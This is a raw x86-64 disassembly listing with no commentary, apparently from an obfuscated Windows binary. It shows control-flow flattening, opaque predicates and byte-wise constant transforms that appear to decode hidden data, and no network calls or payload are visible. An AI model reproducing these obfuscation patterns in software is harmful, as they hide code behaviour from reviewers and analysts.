mov eax, 0x200d8dcf
jmp 0x14002ad5d
mov eax, dword [0x140061128]
mov ecx, dword [0x14006112c]
lea edx, [rax - 1]
imul edx, eax
and dl, 1
cmp ecx, 0xa
setl al
xor al, dl
mov eax, 0x16df8248
mov ebx, 0x86285f42
cmovne eax, ebx
test dl, dl
mov edx, 0x16df8248
cmove eax, edx
cmp ecx, 0xa
cmovl eax, edx
jmp 0x14002ad5d
mov rax, qword [rbp + 0x48]
mov rax, qword [rbp + 0x48]
mov eax, 0x92581a76
jmp 0x14002ad5d
mov eax, 0x9673c739
jmp 0x14002ad5d
mov rax, qword [rbp + 0x48]
mov eax, 0xc3aa39c2
jmp 0x14002ad5d
mov eax, 0x76cd170
jmp 0x14002ad5d
mov eax, 0x16df8248
jmp 0x14002ad5d
cmp byte [rbp + 0x77], 0
mov eax, 0x84ad6978
mov ecx, 0xcb47d19f
cmovne eax, ecx
jmp 0x14002ad5d
mov eax, 0x95d3daa1
jmp 0x14002ad5d
mov qword [rbp + 0x28], r8
mov eax, 0x4936f195
jmp 0x14002ad5d
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9fed346
mov ecx, 0x4d5a2298
cmovne eax, ecx
cmp dword [0x14006112c], 0xa
mov ecx, 0x9fed346
cmovl eax, ecx
jmp 0x14002ad5d
mov rax, qword [rbp + 0x40]
cmp rax, 0x18
setb byte [rbp + 0x77]
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x14006112c], 0xa
setge dl
xor al, dl
mov ebx, eax
xor bl, 1
and cl, dl
or cl, bl
xor cl, al
mov eax, 0xc795721e
mov ecx, 0xf7eef02
cmovne eax, ecx
jmp 0x14002ad5d
mov qword [rbp + 0x48], 0
mov eax, 0xb2f22ac1
jmp 0x14002ad5d
mov eax, 0xd751ea44
jmp 0x14002ad5d
mov rax, qword [rbp + 0x40]
mov eax, 0x3877e46b
jmp 0x14002ad5d
cmp eax, 0x4936f195
jne 0x14002ad5d
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x58], rax
mov eax, dword [0x140061120]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x140061124], 0xa
setge dl
xor al, dl
mov ebx, eax
xor bl, 1
and cl, dl
or cl, bl
xor cl, al
mov eax, 0xdc96a288
mov ecx, 0x635d1cb0
cmovne eax, ecx
jmp 0x14002acb0
lea rax, [rbp + 0x48]
mov qword [rbp + 0x68], rax
mov eax, 0xe356b8b
jmp 0x14002b3cd
mov rax, qword [rbp + 0x68]
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4d5a2298
mov ecx, 0x200d8dcf
nop word cs:[rax + rax]
nop
cmove eax, ecx
cmp dword [0x14006112c], 0xa
cmovl eax, ecx
cmp eax, 0xd751ea43
jle 0x14002b430
cmp eax, 0x200d8dce
jle 0x14002b4a0
cmp eax, 0x4936f194
jg 0x14002b532
cmp eax, 0x3877e46a
jg 0x14002b77a
cmp eax, 0x200d8dcf
je 0x14002b85f
cmp eax, 0x2201b407
jne 0x14002b3cd
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x947eb02c
mov ecx, 0xb2f22ac1
jmp 0x14002b3c0
cmp eax, 0x9673c738
jg 0x14002b4e0
cmp eax, 0x90066ffc
jle 0x14002b55d
cmp eax, 0x947eb02b
jg 0x14002b7ae
cmp eax, 0x90066ffd
je 0x14002b89e
cmp eax, 0x92581a76
jne 0x14002b3cd
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x38], rax
mov rax, qword [rbp + 0x48]
add rax, r8
mov qword [rbp + 0x50], rax
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x90066ffd
mov ecx, 0x4e312845
jmp 0x14002b3c0
cmp eax, 0x9fed345
jle 0x14002b590
cmp eax, 0xf7eef01
jg 0x14002b7e2
cmp eax, 0x9fed346
je 0x14002b8b0
cmp eax, 0xe356b8b
jne 0x14002b3cd
mov rax, qword [rbp + 0x68]
mov eax, 0x2201b407
jmp 0x14002b3cd
cmp eax, 0xb6e6802e
jle 0x14002b733
cmp eax, 0xc795721d
jg 0x14002b816
cmp eax, 0xb6e6802f
je 0x14002b8ba
cmp eax, 0xc3aa39c2
jne 0x14002b3cd
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x40], rax
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb6e6802f
mov ecx, 0xfa2790d7
jmp 0x14002b3c0
cmp eax, 0x4e312844
jle 0x14002b84a
cmp eax, 0x4e312845
je 0x14002b8c8
cmp eax, 0x651d701c
jne 0x14002b3cd
mov eax, 0x38fd6d49
jmp 0x14002b3cd
cmp eax, 0x84ad6978
je 0x14002b398
cmp eax, 0x86285f42
je 0x14002b8d2
cmp eax, 0x8667555e
jne 0x14002b3cd
add qword [rbp + 0x48], 1
mov eax, 0x38fd6d49
jmp 0x14002b3cd
cmp eax, 0xd751ea44
je 0x14002b8dc
cmp eax, 0xfa2790d7
je 0x14002b8f2
cmp eax, 0x76cd170
jne 0x14002b3cd
mov rax, qword [rbp + 0x50]
movzx r10d, byte [rax]
mov r11, qword [rbp + 0x38]
movabs rax, 0x6e88d0e66e5420d7
add r11, rax
mov eax, dword [0x140061130]
mov ecx, dword [0x140061134]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x10]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x20]
or cl, al
mov eax, 0x2ab0b29e
mov ecx, 0x5b16eb83
cmovne eax, ecx
mov edi, 0x2ab0b29e
mov ecx, 0x3bbaafb3
cmovne edi, ecx
mov esi, 0xf08a8ee8
mov ecx, 0x795191f6
cmovne esi, ecx
mov ebx, 0x2b701f4d
jmp 0x14002b630
mov ebx, 0x3bbaafb3
nop word cs:[rax + rax]
nop
mov edx, ebx
cmp ebx, 0x3507be68
jle 0x14002b660
cmp edx, 0x5b1975e1
jg 0x14002b680
mov ebx, eax
cmp edx, 0x3bbaafb3
je 0x14002b630
cmp edx, 0x5b16eb83
jne 0x14002b6e7
mov ebx, 0x3507be69
jmp 0x14002b630
cmp edx, 0x2ab0b29d
jg 0x14002b6a0
cmp edx, 0xf08a8ee8
je 0x14002b6dd
mov ebx, edx
cmp edx, 0x2b8ed5e
jne 0x14002b630
mov ebx, edi
jmp 0x14002b630
mov ebx, esi
cmp edx, 0x5b1975e2
je 0x14002b630
mov ebx, edx
cmp edx, 0x795191f6
jne 0x14002b630
mov ebx, 0x2b8ed5e
jmp 0x14002b630
cmp edx, 0x2ab0b29e
je 0x14002b620
mov ebx, edx
cmp edx, 0x2b701f4d
jne 0x14002b630
movzx edx, byte [rbp + 0x10]
cmp byte [rbp + 0x20], 0
mov ecx, 0x5b1975e2
mov ebx, 0x5b1975e2
jne 0x14002b6d3
mov ebx, 0xf08a8ee8
test dl, dl
cmovne ebx, ecx
jmp 0x14002b630
mov ebx, 0x5b1975e2
jmp 0x14002b630
mov ebx, edx
cmp edx, 0x3507be69
jne 0x14002b630
mov qword [rbp + 0x80], r11
mov qword [rbp + 0x78], r10
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
add ecx, eax
mov rax, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
and edx, eax
not edx
lea eax, [rcx + rdx*2]
add al, 0x21
mov rcx, qword [rbp + 0x48]
mov byte [r8 + rcx], al
mov eax, 0x8667555e
jmp 0x14002b3cd
cmp eax, 0x9673c739
je 0x14002b8fc
cmp eax, 0x9dca9d12
je 0x14002b90a
cmp eax, 0xb2f22ac1
jne 0x14002b3cd
mov qword [rbp + 0x48], 0
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x947eb02c
mov ecx, 0x651d701c
jmp 0x14002b3c0
cmp eax, 0x3877e46b
je 0x14002b93a
cmp eax, 0x38fd6d49
jne 0x14002b3cd
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb6e6802f
mov ecx, 0xc3aa39c2
jmp 0x14002b3c0
cmp eax, 0x947eb02c
je 0x14002b981
cmp eax, 0x95d3daa1
jne 0x14002b3cd
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc795721e
mov ecx, 0x3877e46b
jmp 0x14002b3c0
cmp eax, 0xf7eef02
je 0x14002b993
cmp eax, 0x16df8248
jne 0x14002b3cd
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x86285f42
mov ecx, 0x9dca9d12
jmp 0x14002b3c0
cmp eax, 0xc795721e
je 0x14002b99d
cmp eax, 0xcb47d19f
jne 0x14002b3cd
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x90066ffd
mov ecx, 0x92581a76
jmp 0x14002b3c0
cmp eax, 0x4d5a2298
jne 0x14002b9ab
mov eax, 0x200d8dcf
jmp 0x14002b3cd
mov eax, dword [0x140061128]
mov ecx, dword [0x14006112c]
lea edx, [rax - 1]
imul edx, eax
and dl, 1
cmp ecx, 0xa
setl al
xor al, dl
mov eax, 0x16df8248
mov ebx, 0x86285f42
cmovne eax, ebx
test dl, dl
mov edx, 0x16df8248
cmove eax, edx
cmp ecx, 0xa
cmovl eax, edx
jmp 0x14002b3cd
mov rax, qword [rbp + 0x48]
mov rax, qword [rbp + 0x48]
mov eax, 0x92581a76
jmp 0x14002b3cd
mov eax, 0x9673c739
jmp 0x14002b3cd
mov rax, qword [rbp + 0x48]
mov eax, 0xc3aa39c2
jmp 0x14002b3cd
mov eax, 0x76cd170
jmp 0x14002b3cd
mov eax, 0x16df8248
jmp 0x14002b3cd
cmp byte [rbp + 0x77], 0
mov eax, 0x84ad6978
mov ecx, 0xcb47d19f
cmovne eax, ecx
jmp 0x14002b3cd
mov eax, 0x95d3daa1
jmp 0x14002b3cd
mov qword [rbp + 0x28], r8
mov eax, 0x4936f195
jmp 0x14002b3cd
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9fed346
mov ecx, 0x4d5a2298
cmovne eax, ecx
cmp dword [0x14006112c], 0xa
mov ecx, 0x9fed346
cmovl eax, ecx
jmp 0x14002b3cd
mov rax, qword [rbp + 0x40]
cmp rax, 0x18
setb byte [rbp + 0x77]
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x14006112c], 0xa
setge dl
xor al, dl
mov ebx, eax
xor bl, 1
and cl, dl
or cl, bl
xor cl, al
mov eax, 0xc795721e
mov ecx, 0xf7eef02
cmovne eax, ecx
jmp 0x14002b3cd
mov qword [rbp + 0x48], 0
mov eax, 0xb2f22ac1
jmp 0x14002b3cd
mov eax, 0xd751ea44
jmp 0x14002b3cd
mov rax, qword [rbp + 0x40]
mov eax, 0x3877e46b
jmp 0x14002b3cd
cmp eax, 0x4936f195
jne 0x14002b3cd
mov rax, qword [rbp + 0x28]
mov eax, 0xd52b35ff
jmp 0x14002acb0
mov eax, 0xb9703d02
jmp 0x14002acb0
mov byte [rbp + 0x38], r10b
mov al, byte [rbp + 0x38]
mov rcx, qword [rbp + 0x48]
mov byte [rcx], al
mov ecx, 0xc52ff3a8
jmp 0x14002c1b0
mov byte [rbp + 0x10], r11b
mov al, byte [rbp + 0x10]
mov byte [rbp + 0x76], al
mov eax, dword [0x140061118]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x42663e8f
mov eax, 0x6ed3ec1f
cmove ecx, eax
cmp dword [0x14006111c], 0xa
cmovl ecx, eax
cmp ecx, 0x3fc11ad4
jle 0x14002c250
cmp ecx, 0x6ed3ec1e
jle 0x14002c2a0
cmp ecx, 0x6ed3ec1f
je 0x14002c45a
cmp ecx, 0x6efb8690
je 0x14002c464
cmp ecx, 0x7f84c2b2
jne 0x14002c1b0
mov rax, qword [rbp + 0x38]
mov byte [rax], 0
mov eax, dword [0x140061118]
mov edx, dword [0x14006111c]
lea ebx, [rax - 1]
imul ebx, eax
and bl, 1
cmp edx, 0xa
setl al
xor al, bl
mov ecx, 0x3fc11ad5
mov eax, 0x986c91d1
cmovne ecx, eax
test bl, bl
mov ebx, 0x3fc11ad5
cmove ecx, ebx
cmp edx, 0xa
mov rax, qword [rbp + 0x38]
cmovl ecx, ebx
add rax, 1
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x40]
mov rdx, qword [rbp + 0x28]
cmp rdx, rax
sete byte [rbp + 0x77]
jmp 0x14002c1b0
cmp ecx, 0xf9406ecd
jg 0x14002c420
cmp ecx, 0x986c91d1
je 0x14002c5b5
cmp ecx, 0xc52ff3a8
jne 0x14002d97b
mov ecx, dword [0x140061118]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x42663e8f
mov eax, 0x6efb8690
jmp 0x14002c1a3
cmp ecx, 0x3fc11ad5
je 0x14002c5ce
cmp ecx, 0x42663e8f
jne 0x14002c1b0
mov r11, qword [rbp + 0x48]
mov rax, qword [rbp + 0x58]
movzx eax, byte [rax + 2]
movabs rcx, 0x5bdb64d044ce5e1
add rax, rcx
mov qword [rbp + 0x50], rax
movabs rax, 0x6e88d0e66e5420d7
add rax, 2
mov qword [rbp + 0x78], rax
mov eax, dword [0x1400610d8]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete cl
mov esi, 0x6e3793ad
mov eax, 0xf46c509b
cmove esi, eax
cmp dword [0x1400610dc], 0xa
cmovl esi, eax
setge bl
xor cl, bl
mov eax, ecx
xor al, 1
and dl, bl
or dl, al
xor dl, cl
mov r15d, 0x6e3793ad
mov eax, 0x98f8596f
cmovne r15d, eax
mov edx, 0x88a95f0c
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xd7ca0e98
jle 0x14002c380
cmp edx, 0xd7ca0e99
je 0x14002c39b
cmp edx, 0xf46c509b
je 0x14002c5e8
cmp edx, 0x6e3793ad
jne 0x14002c340
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x14002c340
cmp edx, 0x88a95f0c
je 0x14002c3a0
cmp edx, 0x98f8596f
jne 0x14002c340
mov r14, qword [rbp + 0x80]
mov edx, esi
jmp 0x14002c340
mov edx, r15d
jmp 0x14002c340
mov rcx, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x78]
mov rbx, rcx
movabs rdi, 0x8e18b4232d0bcb7b
xor rbx, rdi
mov rax, rdx
and rax, rdi
movabs rdi, 0x4142489c00900084
or rax, rdi
movabs r12, 0x71e74bdcd2f43484
and rdx, r12
xor rdx, rax
mov rax, rdx
movabs rdi, 0xcf5afcbf2d9bcbff
xor rax, rdi
xor rcx, r12
and rcx, rax
movabs rax, 0x30a50340d2643400
xor rdx, rax
and rdx, rbx
or rdx, rcx
mov qword [rbp + 0x80], rdx
mov edx, 0xd7ca0e99
jmp 0x14002c340
cmp ecx, 0xf9406ece
je 0x14002c745
cmp ecx, 0x1e0abf82
jne 0x14002c1b0
mov qword [rbp + 0x38], r10
mov eax, dword [0x140061118]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x986c91d1
mov eax, 0x7f84c2b2
jmp 0x14002c1a3
mov ecx, 0xf9406ece
jmp 0x14002c1b0
mov r11, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x58]
movzx ecx, byte [rcx + 2]
movabs rax, 0x5bdb64d044ce5e1
add rcx, rax
mov qword [rbp + 0x50], rcx
movabs rax, 0x6e88d0e66e5420d7
lea rcx, [rax + 2]
mov qword [rbp + 0x78], rcx
mov ecx, dword [0x1400610d8]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
sete cl
mov esi, 0x6e3793ad
mov eax, 0xf46c509b
cmove esi, eax
cmp dword [0x1400610dc], 0xa
cmovl esi, eax
setge bl
xor cl, bl
mov eax, ecx
xor al, 1
and dl, bl
or dl, al
xor dl, cl
mov r15d, 0x6e3793ad
mov eax, 0x98f8596f
cmovne r15d, eax
mov edx, 0x88a95f0c
nop
cmp edx, 0xd7ca0e98
jle 0x14002c520
cmp edx, 0xd7ca0e99
je 0x14002c53b
cmp edx, 0xf46c509b
je 0x14002c8a5
cmp edx, 0x6e3793ad
jne 0x14002c4e0
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x14002c4e0
cmp edx, 0x88a95f0c
je 0x14002c540
cmp edx, 0x98f8596f
jne 0x14002c4e0
mov r14, qword [rbp + 0x80]
mov edx, esi
jmp 0x14002c4e0
mov edx, r15d
jmp 0x14002c4e0
mov rcx, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x78]
mov rbx, rcx
movabs rdi, 0x8e18b4232d0bcb7b
xor rbx, rdi
mov rax, rdx
and rax, rdi
movabs rdi, 0x4142489c00900084
or rax, rdi
movabs r12, 0x71e74bdcd2f43484
and rdx, r12
xor rdx, rax
mov rax, rdx
movabs rdi, 0xcf5afcbf2d9bcbff
xor rax, rdi
xor rcx, r12
and rcx, rax
movabs rax, 0x30a50340d2643400
xor rdx, rax
and rdx, rbx
or rdx, rcx
mov qword [rbp + 0x80], rdx
mov edx, 0xd7ca0e99
jmp 0x14002c4e0
mov rax, qword [rbp + 0x38]
mov byte [rax], 0
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x40]
mov ecx, 0x7f84c2b2
jmp 0x14002c1b0
cmp byte [rbp + 0x77], 0
mov ecx, 0x1e0abf82
mov eax, 0x8d20189d
cmovne ecx, eax
mov r10, qword [rbp + 0x28]
jmp 0x14002c1b0
mov byte [rbp + 0x10], r14b
mov al, byte [rbp + 0x10]
mov byte [r11 + 1], al
mov rax, qword [rbp + 0x58]
movzx eax, byte [rax + 3]
movabs rcx, 0x5bdb64d044ce5e1
add rax, rcx
mov qword [rbp + 0x50], rax
movabs rax, 0x6e88d0e66e5420d7
add rax, 3
mov qword [rbp + 0x78], rax
mov eax, dword [0x1400610d8]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete cl
mov esi, 0x6e3793ad
mov eax, 0xf46c509b
cmove esi, eax
cmp dword [0x1400610dc], 0xa
cmovl esi, eax
setge bl
xor cl, bl
mov eax, ecx
xor al, 1
and dl, bl
or dl, al
xor dl, cl
mov r15d, 0x6e3793ad
mov eax, 0x98f8596f
cmovne r15d, eax
mov edx, 0x88a95f0c
nop word [rax + rax]
cmp edx, 0xd7ca0e98
jle 0x14002c6b0
cmp edx, 0xd7ca0e99
je 0x14002c6cb
cmp edx, 0xf46c509b
je 0x14002ca05
cmp edx, 0x6e3793ad
jne 0x14002c670
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x14002c670
cmp edx, 0x88a95f0c
je 0x14002c6d0
cmp edx, 0x98f8596f
jne 0x14002c670
mov r14, qword [rbp + 0x80]
mov edx, esi
jmp 0x14002c670
mov edx, r15d
jmp 0x14002c670
mov rcx, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x78]
mov rbx, rcx
movabs rdi, 0x8e18b4232d0bcb7b
xor rbx, rdi
mov rax, rdx
and rax, rdi
movabs rdi, 0x4142489c00900084
or rax, rdi
movabs r12, 0x71e74bdcd2f43484
and rdx, r12
xor rdx, rax
mov rax, rdx
movabs rdi, 0xcf5afcbf2d9bcbff
xor rax, rdi
xor rcx, r12
and rcx, rax
movabs rax, 0x30a50340d2643400
xor rdx, rax
and rdx, rbx
or rdx, rcx
mov qword [rbp + 0x80], rdx
mov edx, 0xd7ca0e99
jmp 0x14002c670
mov rax, qword [rbp + 0x68]
mov cl, byte [rbp + 0x76]
mov byte [rax], cl
mov r10, qword [rbp + 0x68]
mov rax, qword [rbp + 0x58]
movzx eax, byte [rax + 6]
movabs rcx, 0x5bdb64d044ce5e1
add rax, rcx
mov qword [rbp + 0x50], rax
movabs rax, 0x6e88d0e66e5420d7
add rax, 6
mov qword [rbp + 0x78], rax
mov eax, dword [0x1400610d8]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete cl
mov esi, 0x6e3793ad
mov eax, 0xf46c509b
cmove esi, eax
cmp dword [0x1400610dc], 0xa
cmovl esi, eax
setge bl
xor cl, bl
mov eax, ecx
xor al, 1
and dl, bl
or dl, al
xor dl, cl
mov r14d, 0x6e3793ad
mov eax, 0x98f8596f
cmovne r14d, eax
mov edx, 0x88a95f0c
nop dword [rax]
cmp edx, 0xd7ca0e98
jle 0x14002c810
cmp edx, 0xd7ca0e99
je 0x14002c82b
cmp edx, 0xf46c509b
je 0x14002cb65
cmp edx, 0x6e3793ad
jne 0x14002c7d0
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x14002c7d0
cmp edx, 0x88a95f0c
je 0x14002c830
cmp edx, 0x98f8596f
jne 0x14002c7d0
mov r11, qword [rbp + 0x80]
mov edx, esi
jmp 0x14002c7d0
mov edx, r14d
jmp 0x14002c7d0
mov rax, qword [rbp + 0x50]
mov rcx, qword [rbp + 0x78]
mov rdx, rax
movabs rbx, 0x8e18b4232d0bcb7b
xor rdx, rbx
mov rdi, rcx
and rdi, rbx
movabs rbx, 0x4142489c00900084
or rdi, rbx
movabs r15, 0x71e74bdcd2f43484
and rcx, r15
xor rcx, rdi
mov rdi, rcx
movabs rbx, 0xcf5afcbf2d9bcbff
xor rdi, rbx
xor rax, r15
and rax, rdi
movabs rdi, 0x30a50340d2643400
xor rcx, rdi
and rcx, rdx
or rcx, rax
mov qword [rbp + 0x80], rcx
mov edx, 0xd7ca0e99
jmp 0x14002c7d0
mov byte [rbp + 0x10], r14b
mov al, byte [rbp + 0x10]
mov byte [r11 + 1], al
mov rax, qword [rbp + 0x58]
movzx eax, byte [rax + 3]
movabs rcx, 0x5bdb64d044ce5e1
add rax, rcx
mov qword [rbp + 0x50], rax
movabs rax, 0x6e88d0e66e5420d7
add rax, 3
mov qword [rbp + 0x78], rax
mov eax, dword [0x1400610d8]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete cl
mov esi, 0x6e3793ad
mov eax, 0xf46c509b
cmove esi, eax
cmp dword [0x1400610dc], 0xa
cmovl esi, eax
setge bl
xor cl, bl
mov eax, ecx
xor al, 1
and dl, bl
or dl, al
xor dl, cl
mov r15d, 0x6e3793ad
mov eax, 0x98f8596f
cmovne r15d, eax
mov edx, 0x88a95f0c
nop word [rax + rax]
cmp edx, 0xd7ca0e98
jle 0x14002c970
cmp edx, 0xd7ca0e99
je 0x14002c98b
cmp edx, 0xf46c509b
je 0x14002ccc5
cmp edx, 0x6e3793ad
jne 0x14002c930
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x14002c930
cmp edx, 0x88a95f0c
je 0x14002c990
cmp edx, 0x98f8596f
jne 0x14002c930
mov r14, qword [rbp + 0x80]
mov edx, esi
jmp 0x14002c930
mov edx, r15d
jmp 0x14002c930
mov rcx, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x78]
mov rbx, rcx
movabs rdi, 0x8e18b4232d0bcb7b
xor rbx, rdi
mov rax, rdx
and rax, rdi
movabs rdi, 0x4142489c00900084
or rax, rdi
movabs r12, 0x71e74bdcd2f43484
and rdx, r12
xor rdx, rax
mov rax, rdx
movabs rdi, 0xcf5afcbf2d9bcbff
xor rax, rdi
xor rcx, r12
and rcx, rax
movabs rax, 0x30a50340d2643400
xor rdx, rax
and rdx, rbx
or rdx, rcx
mov qword [rbp + 0x80], rdx
mov edx, 0xd7ca0e99
jmp 0x14002c930
mov byte [rbp + 0x10], r14b
mov al, byte [rbp + 0x10]
mov byte [r11 + 2], al
mov rax, qword [rbp + 0x58]
movzx eax, byte [rax + 4]
movabs rcx, 0x5bdb64d044ce5e1
add rax, rcx
mov qword [rbp + 0x50], rax
movabs rax, 0x6e88d0e66e5420d7
add rax, 4
mov qword [rbp + 0x78], rax
mov eax, dword [0x1400610d8]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete cl
mov esi, 0x6e3793ad
mov eax, 0xf46c509b
cmove esi, eax
cmp dword [0x1400610dc], 0xa
cmovl esi, eax
setge bl
xor cl, bl
mov eax, ecx
xor al, 1
and dl, bl
or dl, al
xor dl, cl
mov r15d, 0x6e3793ad
mov eax, 0x98f8596f
cmovne r15d, eax
mov edx, 0x88a95f0c
nop word [rax + rax]
cmp edx, 0xd7ca0e98
jle 0x14002cad0
cmp edx, 0xd7ca0e99
je 0x14002caeb
cmp edx, 0xf46c509b
je 0x14002ce25
cmp edx, 0x6e3793ad
jne 0x14002ca90
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x14002ca90
cmp edx, 0x88a95f0c
je 0x14002caf0
cmp edx, 0x98f8596f
jne 0x14002ca90
mov r14, qword [rbp + 0x80]
mov edx, esi
jmp 0x14002ca90
mov edx, r15d
jmp 0x14002ca90
mov rcx, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x78]
mov rbx, rcx
movabs rdi, 0x8e18b4232d0bcb7b
xor rbx, rdi
mov rax, rdx
and rax, rdi
movabs rdi, 0x4142489c00900084
or rax, rdi
movabs r12, 0x71e74bdcd2f43484
and rdx, r12
xor rdx, rax
mov rax, rdx
movabs rdi, 0xcf5afcbf2d9bcbff
xor rax, rdi
xor rcx, r12
and rcx, rax
movabs rax, 0x30a50340d2643400
xor rdx, rax
and rdx, rbx
or rdx, rcx
mov qword [rbp + 0x80], rdx
mov edx, 0xd7ca0e99
jmp 0x14002ca90
mov byte [rbp + 0x10], r11b
mov al, byte [rbp + 0x10]
mov byte [r10 + 1], al
mov rax, qword [rbp + 0x58]
movzx eax, byte [rax + 7]
movabs rcx, 0x5bdb64d044ce5e1
add rax, rcx
mov qword [rbp + 0x50], rax
movabs rax, 0x6e88d0e66e5420d7
add rax, 7
mov qword [rbp + 0x78], rax
mov eax, dword [0x1400610d8]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete cl
mov esi, 0x6e3793ad
mov eax, 0xf46c509b
cmove esi, eax
cmp dword [0x1400610dc], 0xa
cmovl esi, eax
setge bl
xor cl, bl
mov eax, ecx
xor al, 1
and dl, bl
or dl, al
xor dl, cl
mov r14d, 0x6e3793ad
mov eax, 0x98f8596f
cmovne r14d, eax
mov edx, 0x88a95f0c
nop word [rax + rax]
cmp edx, 0xd7ca0e98
jle 0x14002cc30
cmp edx, 0xd7ca0e99
je 0x14002cc4b
cmp edx, 0xf46c509b
je 0x14002cf85
cmp edx, 0x6e3793ad
jne 0x14002cbf0
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x14002cbf0
cmp edx, 0x88a95f0c
je 0x14002cc50
cmp edx, 0x98f8596f
jne 0x14002cbf0
mov r11, qword [rbp + 0x80]
mov edx, esi
jmp 0x14002cbf0
mov edx, r14d
jmp 0x14002cbf0
mov rax, qword [rbp + 0x50]
mov rcx, qword [rbp + 0x78]
mov rdx, rax
movabs rbx, 0x8e18b4232d0bcb7b
xor rdx, rbx
mov rdi, rcx
and rdi, rbx
movabs rbx, 0x4142489c00900084
or rdi, rbx
movabs r15, 0x71e74bdcd2f43484
and rcx, r15
xor rcx, rdi
mov rdi, rcx
movabs rbx, 0xcf5afcbf2d9bcbff
xor rdi, rbx
xor rax, r15
and rax, rdi
movabs rdi, 0x30a50340d2643400
xor rcx, rdi
and rcx, rdx
or rcx, rax
mov qword [rbp + 0x80], rcx
mov edx, 0xd7ca0e99
jmp 0x14002cbf0
mov byte [rbp + 0x10], r14b
mov al, byte [rbp + 0x10]
mov byte [r11 + 2], al
mov rax, qword [rbp + 0x58]
movzx eax, byte [rax + 4]
movabs rcx, 0x5bdb64d044ce5e1
add rax, rcx
mov qword [rbp + 0x50], rax
movabs rax, 0x6e88d0e66e5420d7
add rax, 4
mov qword [rbp + 0x78], rax
mov eax, dword [0x1400610d8]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete cl
mov esi, 0x6e3793ad
mov eax, 0xf46c509b
cmove esi, eax
cmp dword [0x1400610dc], 0xa
cmovl esi, eax
setge bl
xor cl, bl
mov eax, ecx
xor al, 1
and dl, bl
or dl, al
xor dl, cl
mov r15d, 0x6e3793ad
mov eax, 0x98f8596f
cmovne r15d, eax
mov edx, 0x88a95f0c
nop word [rax + rax]
cmp edx, 0xd7ca0e98
jle 0x14002cd90
cmp edx, 0xd7ca0e99
je 0x14002cdab
cmp edx, 0xf46c509b
je 0x14002d0e5
cmp edx, 0x6e3793ad
jne 0x14002cd50
mov rax, qword [rbp + 0x80]
mov edx, 0x98f8596f
jmp 0x14002cd50
cmp edx, 0x88a95f0c
je 0x14002cdb0
cmp edx, 0x98f8596f
jne 0x14002cd50
mov r14, qword [rbp + 0x80]
mov edx, esi
jmp 0x14002cd50
mov edx, r15d
jmp 0x14002cd50
mov rcx, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x78]
mov rbx, rcx
movabs rdi, 0x8e18b4232d0bcb7b
xor rbx, rdi
mov rax, rdx
and rax, rdi
movabs rdi, 0x4142489c00900084
or rax, rdi
movabs r12, 0x71e74bdcd2f43484
and rdx, r12
xor rdx, rax
mov rax, rdx
movabs rdi, 0xcf5afcbf2d9bcbff
xor rax, rdi
xor rcx, r12
and rcx, rax
movabs rax, 0x30a50340d2643400
xor rdx, rax
and rdx, rbx
or rdx, rcx
mov qword [rbp + 0x80], rdx
mov edx, 0xd7ca0e99
jmp 0x14002cd50
mov byte [rbp + 0x10], r14b
mov al, byte [rbp + 0x10]
